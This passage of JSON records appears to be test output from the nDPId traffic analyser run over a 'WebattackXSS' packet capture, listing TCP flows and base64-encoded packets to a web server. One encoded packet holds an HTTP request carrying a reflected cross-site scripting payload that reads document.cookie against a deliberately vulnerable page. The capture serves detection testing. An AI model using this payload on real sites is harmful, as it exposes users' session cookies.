+00432{"flow_id":562,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8010,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347931,"pkt_ts_usec":880458,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Y4tAAD4GYk2sEAABwKgKMoVgAFAOjvOVfNqs7oAQAOVLqgAAAQEICgE8lYcD5mb7"} +00432{"flow_id":563,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8017,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347932,"pkt_ts_usec":880128,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Nc5AAD4GkAqsEAABwKgKMoVuAFCXD6SsMGjkqIARAOUp4QAAAQEICgE8loED5mLb"} +00433{"flow_id":563,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8018,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347932,"pkt_ts_usec":880313,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0g11AAEAGQHvAqAoyrBAAAQBQhW4waOSolw+krYARAOMkyAAAAQEICgPmZ\/UBPJaB"} +00432{"flow_id":563,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8019,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347932,"pkt_ts_usec":881071,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Nc9AAD4GkAmsEAABwKgKMoVuAFCXD6StMGjkqYAQAOUkxgAAAQEICgE8loED5mf1"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8023,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":566,"flow_packet_id":1,"flow_first_seen":1499347934152,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34224,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":566,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8023,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347934,"pkt_ts_usec":152021,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8DbVAAD4GuBusEAABwKgKMoWwAFC\/7poKAAAAAKACchDmDgAAAgQFtAQCCAoBPJe\/AAAAAAEDAwc="} +00444{"flow_id":566,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8024,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347934,"pkt_ts_usec":152127,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhbAhVp9vv+6aC6AScSC5DgAAAgQFtAQCCAoD5mkzATyXvwEDAwc="} +00433{"flow_id":566,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8025,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347934,"pkt_ts_usec":152914,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DbZAAD4GuCKsEAABwKgKMoWwAFC\/7poLIVafcIAQAOVYFgAAAQEICgE8l78D5mkz"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8032,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":567,"flow_packet_id":1,"flow_first_seen":1499347935445,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34238,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":567,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8032,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347935,"pkt_ts_usec":445034,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8lcJAAD4GMA6sEAABwKgKMoW+AFC8fgzAAAAAAKACchB1eAAAAgQFtAQCCAoBPJkCAAAAAAEDAwc="} +00444{"flow_id":567,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8033,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347935,"pkt_ts_usec":445160,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhb4dfTaTvH4MwaAScSCz6gAAAgQFtAQCCAoD5mp2ATyZAgEDAwc="} +00432{"flow_id":567,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8034,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347935,"pkt_ts_usec":445930,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lcNAAD4GMBWsEAABwKgKMoW+AFC8fgzBHX02lIAQAOVS8gAAAQEICgE8mQID5mp2"} +00432{"flow_id":564,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8038,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347935,"pkt_ts_usec":879824,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OH5AAD4GjVqsEAABwKgKMoWIAFCpfquQr7ycB4ARAOXURgAAAQEICgE8mW8D5mVn"} +00432{"flow_id":564,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8039,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347935,"pkt_ts_usec":880040,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA09uRAAEAGzPPAqAoyrBAAAQBQhYivvJwHqX6rkYARAOPOywAAAQEICgPmauMBPJlv"} +00432{"flow_id":564,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8040,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347935,"pkt_ts_usec":880775,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OH9AAD4GjVmsEAABwKgKMoWIAFCpfquRr7ycCIAQAOXOyQAAAQEICgE8mW8D5mrj"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8044,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":568,"flow_packet_id":1,"flow_first_seen":1499347936727,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34252,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":568,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8044,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347936,"pkt_ts_usec":727621,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8IMJAAD4GpQ6sEAABwKgKMoXMAFAQdrqBAAAAAKACchBycAAAAgQFtAQCCAoBPJpDAAAAAAEDAwc="} +00444{"flow_id":568,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8045,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347936,"pkt_ts_usec":727763,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhcyowg88EHa6gqAScSBLswAAAgQFtAQCCAoD5mu3ATyaQwEDAwc="} +00432{"flow_id":568,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8046,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347936,"pkt_ts_usec":728282,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IMNAAD4GpRWsEAABwKgKMoXMAFAQdrqCqMIPPYAQAOXqugAAAQEICgE8mkMD5mu3"} +00432{"flow_id":565,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8050,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347936,"pkt_ts_usec":880623,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0j8BAAD4GNhisEAABwKgKMoWWAFDyyRqSHS1uJYARAOXaJwAAAQEICgE8mmkD5maj"} +00432{"flow_id":565,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8051,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347936,"pkt_ts_usec":880812,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0BfhAAEAGveDAqAoyrBAAAQBQhZYdLW4l8skak4ARAOPU7gAAAQEICgPma90BPJpp"} +00432{"flow_id":565,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8052,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347936,"pkt_ts_usec":881389,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0j8FAAD4GNhesEAABwKgKMoWWAFDyyRqTHS1uJoAQAOXU7AAAAQEICgE8mmkD5mvd"} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8053,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":495,"flow_packet_id":310,"flow_first_seen":1499347807664,"flow_last_seen":1499347876003,"flow_tot_l4_data_len":242621,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1902,"flow_avg_l4_data_len":782,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":32906,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8053,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":527,"flow_packet_id":6,"flow_first_seen":1499347863072,"flow_last_seen":1499347868864,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33486,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8053,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":527,"flow_packet_id":6,"flow_first_seen":1499347863072,"flow_last_seen":1499347868864,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33486,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8053,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":528,"flow_packet_id":6,"flow_first_seen":1499347864367,"flow_last_seen":1499347869864,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33500,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8053,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":528,"flow_packet_id":6,"flow_first_seen":1499347864367,"flow_last_seen":1499347869864,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33500,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8053,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":529,"flow_packet_id":6,"flow_first_seen":1499347867086,"flow_last_seen":1499347872866,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33526,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8053,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":529,"flow_packet_id":6,"flow_first_seen":1499347867086,"flow_last_seen":1499347872866,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33526,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8053,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":530,"flow_packet_id":6,"flow_first_seen":1499347868358,"flow_last_seen":1499347873865,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33540,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8053,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":530,"flow_packet_id":6,"flow_first_seen":1499347868358,"flow_last_seen":1499347873865,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33540,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8053,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":531,"flow_packet_id":6,"flow_first_seen":1499347869628,"flow_last_seen":1499347874866,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33554,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8053,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":531,"flow_packet_id":6,"flow_first_seen":1499347869628,"flow_last_seen":1499347874866,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33554,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8062,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":569,"flow_packet_id":1,"flow_first_seen":1499347939286,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34278,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":569,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8062,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347939,"pkt_ts_usec":286105,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86O9AAD4G3OCsEAABwKgKMoXmAFBSpnQtAAAAAKACchBz+wAAAgQFtAQCCAoBPJzCAAAAAAEDAwc="} +00444{"flow_id":569,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8063,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347939,"pkt_ts_usec":286276,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQheYnhiyyUqZ0LqAScSCuhQAAAgQFtAQCCAoD5m42ATycwgEDAwc="} +00432{"flow_id":569,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8064,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347939,"pkt_ts_usec":286844,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06PBAAD4G3OesEAABwKgKMoXmAFBSpnQuJ4Yss4AQAOVNjQAAAQEICgE8nMID5m42"} +00433{"flow_id":566,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8068,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347939,"pkt_ts_usec":881811,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DbdAAD4GuCGsEAABwKgKMoWwAFC\/7poLIVafcIARAOVSfQAAAQEICgE8nVcD5mkz"} +00432{"flow_id":566,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8069,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347939,"pkt_ts_usec":881995,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08btAAEAG0hzAqAoyrBAAAQBQhbAhVp9wv+6aDIARAONM5gAAAQEICgPmbssBPJ1X"} +00433{"flow_id":566,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8070,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347939,"pkt_ts_usec":882770,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DbhAAD4GuCCsEAABwKgKMoWwAFC\/7poMIVafcYAQAOVM5AAAAQEICgE8nVcD5m7L"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8074,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":570,"flow_packet_id":1,"flow_first_seen":1499347940593,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34292,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":570,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8074,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347940,"pkt_ts_usec":593756,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA87cVAAD4G2AqsEAABwKgKMoX0AFCR9XPMAAAAAKACchAzuAAAAgQFtAQCCAoBPJ4JAAAAAAEDAwc="} +00444{"flow_id":570,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8075,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347940,"pkt_ts_usec":593881,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhfTE5Ae8kfVzzaAScSD0kgAAAgQFtAQCCAoD5m99ATyeCQEDAwc="} +00432{"flow_id":570,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8076,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347940,"pkt_ts_usec":594634,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07cZAAD4G2BGsEAABwKgKMoX0AFCR9XPNxOQHvYAQAOWTmgAAAQEICgE8ngkD5m99"} +00432{"flow_id":567,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8080,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347940,"pkt_ts_usec":882584,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lcRAAD4GMBSsEAABwKgKMoW+AFC8fgzBHX02lIARAOVNogAAAQEICgE8nlED5mp2"} +00432{"flow_id":567,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8081,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347940,"pkt_ts_usec":882793,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0WVJAAEAGaobAqAoyrBAAAQBQhb4dfTaUvH4MwoARAONIUwAAAQEICgPmb8YBPJ5R"} +00433{"flow_id":567,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8082,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347940,"pkt_ts_usec":883564,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0lcVAAD4GMBOsEAABwKgKMoW+AFC8fgzCHX02lYAQAOVIUAAAAQEICgE8nlID5m\/G"} +01215{"flow_id":569,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8089,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347941,"pkt_ts_usec":874505,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ96PFAAD4G2p2sEAABwKgKMoXmAFBSpnQuJ4Yss4AYAOWvsAAAAQEICgE8n0kD5m42R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdUTlJIMFBGUlBDRlZYRUNGWlUyT1VZQlREWlFWSVdCOEhCWjFWQzdFWEE5UEdNR0JXQSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00917{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8089,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":569,"flow_packet_id":4,"flow_first_seen":1499347939286,"flow_last_seen":1499347941874,"flow_tot_l4_data_len":729,"flow_min_l4_data_len":32,"flow_max_l4_data_len":617,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34278,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": 